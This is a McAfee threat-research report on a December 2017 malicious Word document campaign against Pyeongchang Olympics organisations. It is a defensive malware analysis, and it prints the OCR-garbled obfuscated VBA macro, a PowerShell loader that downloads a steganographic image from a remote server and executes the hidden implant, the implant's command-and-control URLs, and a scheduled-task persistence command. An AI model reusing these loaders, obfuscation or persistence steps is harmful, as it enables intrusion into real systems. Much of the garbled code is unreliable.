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By Ryan Sherstobitoff (https://securingtomorrow.mcafee.com/author/ryan-sherstobitoff/) and Jessica Saavedra-Morales
(https://securingtomorrow.mcafee.com/author/jessica-saavedra-morales/) on Jan 06, 2018
(https://securingtomorrow.mcafee.com/2018/01/)

McAfee Advanced Threat Research analysts have discovered a campaign targeting organizations involved with the
Pyeongchang Olympics.

Attached in an email was a malicious Microsoft Word document with the original file name SAZEE, B& SH S22 chd| St
obF| BhX|CHA 27|12t 8]2] 7§A|.doc (“Organized by Ministry of Agriculture and Forestry and Pyeongchang Winter Olympics”).

The primary target of the email was icehockey@pyeongchang2018.com, with several organizations in South Korea on the
BCC line. The majority of these organizations had some association with the Olympics, either in providing infrastructure or
in a supporting role. The attackers appear to be casting a wide net with this campaign.

The campaign to target Pyeongchang Olympics began December 22, 2017 with the most recent activity appearing
December 28. The attackers originally embedded an implant into the malicious document as a hypertext application (HTA)
file, and then quickly moved to hide it in an image on a remote server and used obfuscated Visual Basic macros to launch
the decoder script. They also wrote custom PowerShell code to decode the hidden image and reveal the implant.

Analysis

The malicious document was submitted from South Korea to Virus Total on December 29 at 09:04, a day after the original
email was sent to the target list. The email was sent from the IP address 43.249.39.152, in Singapore, on December 28 at
23:34. The attacker spoofed the message to appear to be from info@nctc.go.kr, which is the National Counter-Terrorism
Center (NCTC) in South Korea. The timing is interesting because the NCTC was in the process of conducting physical
antiterror drills in the region in preparation for the Olympic Games. The spoofed source of this email suggests the
message is legitimate and increases the chances that victims will treat it as such.
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Based on our analysis of the email header, this message did not come from NCTC, rather from the attacker’s IP address in
Singapore. The message was sent from a Postfix email server and originated from the hostname ospf1-apac-
sg.stickyadstv.com. When the user opens the document, text in Korean tells the victim to enable content to allow the
document to be opened in their version of Word.
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Enable Content to adjust this document to your version of
Microsoft Word ™
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The malicious document with instructions to enable content.
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Copy
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Clipboard ] Font ] Paragraph F
I SECURITY WARNING Some active content has been disabled. Click for more details. Enable Content

The enable content message.

The document contains an obfuscated Visual Basic macro:



VB_Name
VB_Base .
e VB_GlobalNameSpace = False
VB_Creatable = False
redeclaredId = True
_Exposed = True
VB _TemplateDerived = True
VB_Customizable = True
VB_Control =
Private Sub ImageCombo2l_Change ()
Dim jQFHUqgpsmTxDnOzJebAL As String
Dim sVnBl As Object
Dim XQUugaRsVuPhyB
Dim lpUgqy As String

e
S

XQUugaRsVuPhyBVJcEhoLWKu = 2449
jQFHUqgpsmTxDnOzJebAL =

Set sVnBl = CreateObject (jiccbtMgKlVsHKhBwO (jQFHUggpsmTxDnOzJebAL) )

lpUggy = jBGGzFxIaYTsIPsPOo (' ")

lpUgqqy = ZRACLbAOBWVGxXxTEVdngAg(sVnBl, lpUqqgy, XQUugaRsVuPhyBVJcEhoLWKu)
End Sub

Function jBGGzFxIaYTsIPsPOo(AnEsJZphiYC As String) As String
Dim akQPlVYxpY¥ViwwicNvvCVE As String
Dim OWbDDNwuiKyJrLknBA As
Dim EmnNIyQKRzFgSMWafT As String
EmnNIyQKRzFgSMWafT =
Dim PIWPf As St
PIwPf =
Dim RAfTnWck As ng
RAfTnWck = * HOP]

akQP1VYxpYViwwicNvvCVKHZ = EmnNIyQKRzFgSMWafT & PIWPf & RdAfTnWck
akQP1Vv (ViwwicNvvCVKHZ = jiccbtMgK1lVsHEhBwO (akQPlVYxpYViwwicNvvCVKHZ)

ion ZRACLbAOBWVGxXTEVdngAg (iXdXStTFiwS1ZMVUvpWVEsO As Object, GlGsxNNRC As String, dLcZxUYosybhXzShreSrG As Integer) As String
Dim rPfgV11UBsHFIa As String
Dim gflyfpByeQocOxfGJK As Integer
gflyfpByeQocOxfGJK = 8
rPfgV11UBsHFIa = G1GsxNNRO
If (dLcZxUYosybhXzShreSrG > gflyfpByeQocOxfGJK) Then
gflyfpByeQocOxfGIK = dLcZxUYosybhXzShreSrG - dLcZxUYosybhXzShreSrG
iXdXStTFiwS1ZMVUvpWVEsO.Run rPfgV11UBsHFIa, gflyfpByeQocOxfGJK, True
End If
rPfgV11UBsHFIa =
ZRACLbAOBWVGXXTEVdngAg = rPigV11lUBsHFIa
End Function

Function jiccbtMgKlVsHKhBwO(fiuSS As String) As String
Dim cUguyqlzC As Long
Dim CvKVOSyV As ng
Dim yUzfNAzrmGR: boObiyai As Integer
yUzfNAzrmGRgyQboObiyai = 4
For cUguyglzC = 1 To Len(fiuSs)
CvKVOSyV = CvKVOSyV & Chr (Asc(Mid(fiuS5, cUguyqglzC, 1)) - yUzfNAzrmGRgyQboObiyai)
Next cUguyglzC
jiccbtMgKlVsHKhBwO = CvKVOSyV
End Function

Visual Basic macro.

The malicious document launches a PowerShell script when the user clicks “Enable Content.” The document was created
on December 27 at 15:52 by the author “John.”

The malicious document launches the following PowerShell script:

BN Administrator: Command Prompt

Manually executing the PowerShell script at the command line.

The script downloads and reads an image file from a remote location and carves out a hidden PowerShell implant script
embedded within the image file to execute.

The attackers used the open-source tool Invoke-PSImage, released December 20, to embed the PowerShell script into the
image file. The steganography tool works by embedding the bytes of a script into the pixels of the image file, giving the
attacker the ability to hide malicious PowerShell code in a visible image on a remote server. The following script can be
identified as generated by Invoke-PSImage to execute the attacker's implant in an image from a remote server.



=al a HNew - Chject:
idd - Type - AssemblyName "Zystem.Drawving®:
Sg = a System.Draving.Bitmap({{a Net.WebClient})

.OpenRead({ "https://www.thlsystems. forfirsc.ce/ images/adv_33 . png') )
S0 = a Byre[] :
Ito. LI I
1 foreach{%x in (0. ¥y f
Sp = Sg.GetPixel(Sx, § ):
So[5_ * + 5x] = {([math]::Floor{{$p.E - band ) & )} — bor{$%p.5 - band 33
[ }
B E
1% = [Svstem.Text.Encoding] ::ASCII.Get3tring(So[0. 1) | Foreach {
(5 - =plit 'y, 2)[1]
_};
cmd f oo Sﬂ

The initial PowerShell script.
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The image that contains the hidden PowerShell code.

To verify the usage of steganography, we employed the tool StegExpose to check the file:

adv_s3.png is su;picious. Approximate amount of hidden data %s 24787 bytes.

The result confirms the presence of hidden data in our file.

Once the script runs, it passes the decoded script from the image file to the Windows command line in a variable $x, which
uses cmd.exe to execute the obfuscated script and run it via PowerShell.

&&set xmd=echo iex (Is env:tjdm).value | powershell -noni -noex -execut bypass -noprofile -wind hidden - &&
cmd  /C%xmd%

The extracted script is heavily disguised, using a combination of string-format operator obfuscation and other string-based
obfuscation techniques.

Set  hyiS= set ('7FV'+'4') ([TYPe] ("{1}{0}{Z}"-F 'rIpthlo','SC','CK'}] J; ${Z0'mRfH} = [tyPE] ("{0}{1}"-F 'R','Ef'}
'SteM.Net', 'ReQUESt','SY','.wEh') | ; sEL-ITEM ['VaRIAE'+'1'+ E:4Ggf'+'h') ([tyPe] ("{5H{01{7 {1} {33 {6} {41 {2}" —F'a',’
${ZomR FH} ."aSs EMo Ly". ("{2}{0}{1}"—f 'TY','Pe', 'GET'].Invoke|("{0}{6} {73 {1}{2}{5H{3}{2}" —f£'Syste', 'Man','ls', 'n.Ut

'T','VaLuE' [ 'GE') . Invoke (§{n ULL}) ;I£(§{G pa[(™{0r{1}™ —f 'Scri','ptB'1+("{1r{2r{0}" —f 'ckLogging','l','o'1])4{8{ag°F
{ar{03{3r"-£ 'kLo','lo','c''gging' ) ][ (™{o3 {0 {2 {6 {13 {3y {4 {8 {7H{0}"-£ 'g','I','loc','n','vocat', 'Enab','k', 'onLog

f'EcVa’ '8, ' lue' ) . Invoke (§{N ULL}, [.("{1+{2}{0}"-£ 'CT','NEW','-CBJe') (™{23{1}{5}{4+{7+{0}{3}{6}"-f 'IC.HaSh3ET',6'e
£ 'ati', 'm.Manageme', 'on.Ams', 'nt.hutom' , 'ils!', P AUEY P Eystet ) )AL (PP ESO_ R L 0 b iMIONEEY LY - ' G, T Teld! !
[(MrAT+r IAbLe: UM+ fETwa™) ). "Va LuE"::"E X pECT100coNtI "NUE"=0;§{wCi=_ ("{0{2}4{1+"—£f 'Ne','BJECt','w-0'] ("{3}{43{0}{
Wow', 'en' ) [ chIldITem ("{2};{0}{33{1}" —-f'ariaB','FETwk', 'w', 'Le:u') My AITE" "3 ERV ERcE 'R TIFiCATE " VALI DA
PV Alue i "dEfaulTwEE "p B ox¥": §{weh . "pRo XY, "cREAEn " TI ALs" = [ ItEM [('VaRIAE'4'L'4+'e:4gQF'+'H') .M ALTe"

(8D}, ${kI=8{Ar " G3} ; §481=0..255;0.. 255" | . ' %' ) (ST = (3{ 30 +8{3 [ ] +8{ R[4 b5 8{ k. Mo0 " Unt"] 1 %2562 §{ar [${_}], {3} [§{
foyr—£'0d! A L Invoke ((M{OM{1F" —f 'Cook','die'), ("{3F{EH{0M{23{E 14— 'okGKeoT+]' ' T, K7, 'session=E+thd/Nni4C
fldmin/get.php','p','s/a', oo, 'm tags/view'  'm', 'onents/eo' ) §{DATTA=§{wC}. ("{3}{1}{0}{2}" —f 'DDAT','oWNLol',6'd',
el :Byis) .vALuE *|poweRshell -nOproFill -w  hIDdeN -—noINtERaCTiv -eP BYplds3 -n0eXlt —&& cywilNDoW3h, sY3TeM3ZY Cn

The obfuscated PowerShell implant script.

The attacker’'s objective is to make analysis difficult and to evade detection technologies that rely on pattern matching.
Because the obfuscation makes use of native functions in PowerShell, the script can run in an obfuscated state and work
correctly.



" ‘ht', 'forfirs', ".cz:443","/ww','t", 'ems' "." "w.thlsyst' K "tps:/’
' ‘/views/To", ‘om", 'proc’,'ess.’ " /c', 'gin/', "pon’, ‘ents/com_tags', 'php

v

Obfuscated control servers.
When we deobfuscate the control server URLs, the implant establishes a connection to the following site over SSL:
hxxps://www.thlsystems.forfirst.cz:443/components/com_tags/views/login/process.php.

Based on our analysis, this implant establishes an encrypted channel to the attacker’s server, likely giving the attacker the
ability to execute commands on the victim’s machine and to install additional malware. Ultimately this PowerShell implant
will be set to automatically start daily at 2 am via a scheduled task (shown below). The view.hta contains the same
PowerShell-based implant and establishes a remote connection over SSL to
hxxps://200.122.181.63:443/components/com_tags/views/news.php.

C:\Windows\system32\schtasks.exe" /Create /F /SC DAILY /ST 14:00 /TN “MS Remoute Update” /TR
C:\Users\Ops03\AppData\Local\view.hta

a.run('CuD.EXE fC "sEt io8=  fkAntMe= [CYpE] ("{13{03{33{2}" -F%'CRIpth%', % '3%',% 'CKV',%W'LOY'); sSET-item vArIshLe:MWC | [tyPe] (™

<scripts
a=new ActiveXObject("W3cript.Zhell™):
</script

The contents of view.hta.

During our research, we discovered a cached Apache server log for the IP address 81.31.47.101, which is shared hosting.
This log contained information for the control server thisystems.forfirst.cz, which showed an IP address from South Korea
connecting to the specific URL paths contained in the PowerShell implants. This indicates that the implant was active in
South Korea and targets were likely being infected.

— e = [ S e ip g mmm m e e

391 00 0.00 195.05 209955289 www.vkhpraha cz POST fwp-login php HTTP/1.0

392 0.0 206 23843 124.66.181.241 thlsystems. forfirst.cz GET /components/com_tags/views/login/process.php HTTP/1.1

1 0.0 1.09 321.13 93.174.93.163 mysglrozhled net HEAD /plugins/svstem plugin_googlemap? /plugin_googlemap? proxy.

] 0.0 0.00 22881 93.17493.163 mysglrozhled net HEAD /plugins/system/plugin_googlemap?2/plugin_googlemap?_proxy.
137 0.0 0.00 251.64 204.12.208.10 stetkovice. spiritualy.cz GET /component/option.com_events/task, view_month/'vear,1913/mont

J 0.0 0.64 211.29 7 ? .reading..

39 0.0 0.00 24938 841612326 www.macmodel cz GET /thumb.php ile=obrazky brumm-dea-02 jpg&SIZEY=120 HTTP/1.1
328 0.0 0.77 21429 13424964243 WWW.mistoprozivot.cz GET /index php?1d=3312 HTTP/1.1

356 00 142 36012 2128314814 www.vkhpraha cz POST /wp-login php HTTP/1.0

94 00 091 21387 12466181241 thlsystems forfirst cz GET /components/com_tags/views/news php HTTP/1.1

Apache server log from December 29, 2017.

While investigating thisystems.forfirst.cz we discovered that the webpage belongs to a legitimate entity, suggesting this is a
compromised server being used as both an encrypted backchannel for the attacker and the distribution of implants. The
server also hosts a copy of the obfuscated PowerShell implant.



&« C | & Secure | https/fwanw.thisystemsforfirst.z/components/com_tagsfviews/access_log

Set  byiS= set ('7V'4+'4') ([TYPe] ("{1}{0}{2}"-F 'rIptkhl0','SC','CE') ): ${Z0 wRfH} = [tyPE]("™{0}{1}"-F 'R','Ef') : =3v ("{1}
'gteM.Met', 'ReQUESL','ST', ' .wEbh') | ; sEt—ITEM ('VaRIAE'+'1l'+' E:4Ggf'+'h') ([cwPe] ("{SH{0{7r{1ti{3tiar{4{21" -F's','e', 'acHe',' M
${ZomR ' FH} . "a8s "EMb"Ly". (™{2}{0}{1}"-£ 'TY','Pe','GET') . Invoke { ({0 {6} {TH{1 {4 {B{3}{2}" —£'Syste', 'Man','ls', 'n.UTei', 'agement.}

'T','VaLluE','GE'] . Invoke (§{n ULL});I£(§{G psr[(™{0r{1}"™ —f 'Scri','ptB')+("{13{2}{01" —-f 'cklLogging','l','o' 1] )§{d{g Py [(™{03{1}"-
{2y{0p{3r"-f 'kLo','lo' e’ gging )] [iMASHI9 {2 {6 {1 {3 {4 {87 {O"-L 'g' ' I, Lo, 'n' 'vocat'  'Enab', 'k', 'onLoggin' "1, ' les
fr'EcVa','3', 'lue') . Invoke (§{N ULL}, (. ("{1r{2}{0}"-£ 'CT','NEW', ' -CBJe'] ("™{Z}{1}{Er{4}{7}{0}{3}{6}"-£ 'IC.HaSh3ET', 'ecTI','CoLL',"
£ 'ati', 'm.Manageme', 'on.Ams','nt.Autom', 'ils', tATe, U Syste )AL (2 {5 AL (0S84 b ({0 {2} {1} "-f 'G', ' Ield', 'EtF').Invoke!
[(MrAm+rTibLe: UM4"£ETwa™) | . "VWa LuE": :"E X pECT100coNt I "NUE™=0;:${wC}=. ("{0}{2}{1}"-£f 'Ne','BJECL', 'w-0O'] (M™{3}{43{0M{2} {213 {5}""-£ '
Wow' ,'en' ) [ chIldITem ("{2}{0}{3}{1}" —f'ariaB','FETwA','w','Le:ia') 1M AIUE™: "3 ERv ER"cE R TIFiCATE "VALI DAtIOnca  LLbACE
). Alue": i "dEfaulTuER "p R ox¥T"; §{wc) . "pRo  X¥". "cREJEn"TI ALs" = [ ItEM ('VaRIAB'4+'L'+4+'e:4goF'+'H') Pt AlTe: i efaT1TnERy
(84D, 8 {k=8{Ar " G3};§{2}=0..255;0..255" | . ("% J{S{Tr=(§{ 3 +8{S [ 31 +8{kI[S{_bsd{ky."cO Unt"™] )%256;8{s} [§{_}1,8{3r[§{T3]=0{3}[§{]}
{Op"-£'Dd', 'A') . Invoke | (M{0}{1}" —f 'Cook','ie'], ("{3}{6}{03{2}{5}{1}{4}"-f 'obGKeo7+3j','I','b7', 'session=B+thd/Nni140','=','1i', 'P1
f'dwin/get.php','p','s/a','Joco', 'n_tags/view', 'm', 'onents/co' ) §4DATTAY=§{wC}. ("{3r{1}{0}{2}" —-£ 'DDAT','oWNLok',6'A','D').Invoke
eNV:Eyi3) . vALuE *|poweRshell -nOproOFil -w  hIDdeN -noNINtERaCTiv -eP EYpiss -noeXIt —&& ciywiNDoW34 sY3TeM32WCwd /C $gd3y

The implant establishes an encrypted channel to the following URL path:

hxxps://www.thlsystems.forfirst.cz:443/components/com_tags/views/admin/get.php

= & A

s/ /www.thlsystems.forfirst.cz/(

It works!

This is the default web page for this server.

The web server software is running but no content has been added, yet.

An image from December 30, 2017.

When investigating the IP address from the PowerShell implant 200.122.181.63 we found a server in Costa Rica that
resolves to mafra.go.kr.jeojang.ga. The domain jeojang.ga was registered via Freenom, a free anonymous domain
provider. It appears the attacker is using parts of a domain that belong to the South Korean Ministry of Agriculture and
Forestry, which is in line with the attached document name in the email, but this domain has nothing to do with this
government agency.

A version of the malicious document from December 22 embedded the PowerShell implant directly into the Word
document in the form of an HTA file. McAfee Advanced Threat Research analysts discovered another document that was
hosted at this domain; its original title is ¢/2 2= (H=0FEF 28 DHRAM AI(HSN6E) ZE).docx, which also appears to
come from the Ministry of Agriculture and Forestry. This document was created on December 22 by the same author,
“John.” The document does not contain macros, rather OLE streams for the embedded HTA files. When the Korean-
language docx icon is clicked, it launches the embedded HTA file Error733.hta. This file contains the same script code to
launch the PowerShell implant as in the view.hta example.
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An earlier malicious document that relies on OLE streams.

Conclusion

The basic method in this case, an in-memory implant using PowerShell along with obfuscation to avoid detection, is a
common and increasing popular fileless technique used in cyberattacks. We have not previously seen this kind of attack
targeting victims in South Korea.

The use of the steganography tool shows how quickly the adversary has adapted to new tools. On December 20, the tool
Invoke-PSImage was released to the public and within seven days was tested and deployed in a campaign targeting
organizations involved in the 2018 Pyeongchang Olympics.

With the upcoming Olympics, we expect to see an increase in cyberattacks using Olympics-related themes. In similar past
cases, the victims were targeted for their passwords and financial information. In this case the adversary is targeting the
organizations involved in the Winter Olympics by using several techniques to make it more tempting to open the
weaponized document:

e Spoofed email address from South Korea's National Counter-Terrorism Council

e Use of Korean language

e Asking users to open the content because the document is in protected mode

e Partial use of the original South Korean Ministry of Agriculture and Forestry domain in a registered fake domain for
malicious intent

The Advanced Threat Research team has discovered an increase in the use of weaponized Word documents against South
Korean targets in place of the traditional use of weaponized documents exploiting vulnerabilities in the Hangul word
processor software.




Indicators of compromise

SHA-1

e 388b693d10e2b84af52ab2c29eb9328e47c3c16
e 8ad0a56e3db1e2cd730031bdcae2dbba3f7aba9c

1Ps
e 200.122.181.63

Domains

e thlsystems.forfirst.cz
e mafra.go.kr.jeojang.ga
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